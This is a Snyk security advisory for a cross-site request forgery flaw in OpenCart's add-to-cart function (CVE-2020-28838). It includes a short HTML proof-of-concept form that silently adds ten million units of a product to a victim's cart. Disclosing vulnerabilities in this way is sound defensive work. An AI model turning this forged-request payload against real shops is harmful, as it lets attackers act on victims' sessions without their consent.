Cross-Site Request Forgery (CSRF) Affecting opencart/opencart package, versions >=3.0.3.6
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (31st
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-OPENCARTOPENCART-6672910
- published 24 Apr 2024
- disclosed 24 May 2022
- credit Mahendra Purbia
Introduced: 24 May 2022
CVE-2020-28838 Open this link in a new tabHow to fix?
There is no fixed version for opencart/opencart
.
Overview
opencart/opencart is a shopping cart system
Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) due to the CART option in the CMS. An attacker can manipulate cart items via the 'Add to cart' function.
PoC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/shop/index.php?route=checkout/cart/add" method="POST">
<input type="hidden" name="product_id" value="43" />
<input type="hidden" name="quantity" value="10000000" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
References
CVSS Scores
version 3.1